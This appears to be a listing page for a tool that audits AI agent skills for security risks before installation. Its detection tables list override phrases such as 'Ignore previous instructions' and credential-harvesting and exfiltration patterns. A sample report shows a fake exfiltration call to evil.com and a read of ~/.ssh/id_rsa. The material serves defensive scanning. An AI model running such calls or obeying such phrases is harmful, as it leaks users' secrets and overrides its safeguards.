Skill Security Auditor
It provides a clear verdict (PASS/WARN/FAIL) with detailed findings and remediation guidance.
Install
npx promptshop add skill-security-auditorDetails
What This Skill Does
The Skill Security Auditor scans AI agent skills for potential security risks before installation. It provides a clear verdict (PASS/WARN/FAIL) with detailed findings and remediation guidance. This skill is designed for developers and security teams to ensure the safety of integrated skills.
When to Use
- Audit a skill directory for security vulnerabilities.
- Scan a skill from a git repository.
- Enforce strict security policies.
- Generate JSON reports of security findings.
- Identify command injection risks in scripts.
- Detect prompt injection vulnerabilities in markdown.
Key Features
- Scans code for command and code execution risks.
- Detects obfuscation techniques in scripts.
- Identifies network exfiltration attempts.
- Checks for credential harvesting patterns.
- Scans for prompt injection vulnerabilities.
- Provides remediation guidance for identified risks.
Skill Security Auditor
Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.
Quick Start
Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
Audit a skill from a git repo python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
Audit with strict mode (any WARN becomes FAIL) python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
Output JSON report python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
What Gets Scanned
1. Code Execution Risks (Python/Bash Scripts)
Scans all .py, .sh, .bash, .js, .ts files for:
| Category | Patterns Detected | Severity |
|---|---|---|
| Command injection | os.system(), os.popen(), subprocess.call(shell=True), backtick execution | ๐ด CRITICAL |
| Code execution | eval(), exec(), compile(), import() | ๐ด CRITICAL |
| Obfuscation | base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains | ๐ด CRITICAL |
| Network exfiltration | requests.post(), urllib.request, socket.connect(), httpx, aiohttp | ๐ด CRITICAL |
| Credential harvesting | reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns | ๐ด CRITICAL |
| File system abuse | writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation | ๐ก HIGH |
| Privilege escalation | sudo, chmod 777, setuid, cron manipulation | ๐ด CRITICAL |
| Unsafe deserialization | pickle.loads(), yaml.load() (without Safe Loader), marshal.loads() | ๐ก HIGH |
| Subprocess (safe) | subprocess.run() with list args, no shell | โช INFO |
2. Prompt Injection in SKILL.md
Scans SKILL.md and all .md reference files for:
| Pattern | Example | Severity |
|---|---|---|
| System prompt override | "Ignore previous instructions", "You are now..." | ๐ด CRITICAL |
| Role hijacking | "Act as root", "Pretend you have no restrictions" | ๐ด CRITICAL |
| Safety bypass | "Skip safety checks", "Disable content filtering" | ๐ด CRITICAL |
| Hidden instructions | Zero-width characters, HTML comments with directives | ๐ก HIGH |
| Excessive permissions | "Run any command", "Full filesystem access" | ๐ก HIGH |
| Data extraction | "Send contents of", "Upload file to", "POST to" | ๐ด CRITICAL |
3. Dependency Supply Chain
For skills with requirements.txt, package.json, or inline pip install:
| Check | What It Does | Severity |
|---|---|---|
| Known vulnerabilities | Cross-reference with Py PI/npm advisory databases | ๐ด CRITICAL |
| Typosquatting | Flag packages similar to popular ones (e.g., reqeusts) | ๐ก HIGH |
| Unpinned versions | Flag requests>=2.0 vs requests==2.31.0 | โช INFO |
| Install commands in code | pip install or npm install inside scripts | ๐ก HIGH |
| Suspicious packages | Low download count, recent creation, single maintainer | โช INFO |
4. File System & Structure
| Check | What It Does | Severity |
|---|---|---|
| Boundary violation | Scripts referencing paths outside skill directory | ๐ก HIGH |
| Hidden files | .env, dotfiles that shouldn't be in a skill | ๐ก HIGH |
| Binary files | Unexpected executables, .so, .dll, .exe | ๐ด CRITICAL |
| Large files | Files >1MB that could hide payloads | โช INFO |
| Symlinks | Symbolic links pointing outside skill directory | ๐ด CRITICAL |
Audit Workflow
Run the scanner on the skill directory or repo URL Review the report โ findings grouped by severity Verdict interpretation:
- โ PASS โ No critical or high findings. Safe to install.
- โ ๏ธ WARN โ High/medium findings detected. Review manually before installing.
- โ FAIL โ Critical findings. Do NOT install without remediation. Remediation โ each finding includes specific fix guidance
Reading the Report
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ SKILL SECURITY AUDIT REPORT โ โ Skill: example-skill โ โ Verdict: โ FAIL โ โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฃ โ ๐ด CRITICAL: 2 ๐ก HIGH: 1 โช INFO: 3 โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
๐ด CRITICAL [CODE-EXEC] scripts/helper.py:42 Pattern: eval(user_input) Risk: Arbitrary code execution from untrusted input Fix: Replace eval() with ast.literal_eval() or explicit parsing
๐ด CRITICAL [NET-EXFIL] scripts/analyzer.py:88 Pattern: requests.post("https://evil.com/collect", data=results) Risk: Data exfiltration to external server Fix: Remove outbound network calls or verify destination is trusted
๐ก HIGH [FS-BOUNDARY] scripts/scanner.py:15 Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) Risk: Reads SSH private key outside skill scope Fix: Remove filesystem access outside skill directory
โช INFO [DEPS-UNPIN] requirements.txt:3 Pattern: requests>=2.0 Risk: Unpinned dependency may introduce vulnerabilities Fix: Pin to specific version: requests==2.31.0
Advanced Usage
Audit a Skill from Git Before Cloning
Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD Integration
Git Hub Actions step
name: "audit-skill-security" run: | python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
Batch Audit
Audit all skills in a directory
for skill in skills/*/; do python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl done
Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
Limitations
Cannot detect logic bombs or time-delayed payloads with certainty Obfuscation detection is pattern-based โ a sufficiently creative attacker may bypass it Network destination reputation checks require internet access Does not execute code โ static analysis only (safe but less complete than dynamic analysis) Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, don't install. Ask the skill
Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.
Quick Start
Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
Audit a skill from a git repo python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
Audit with strict mode (any WARN becomes FAIL) python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
Output JSON report python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json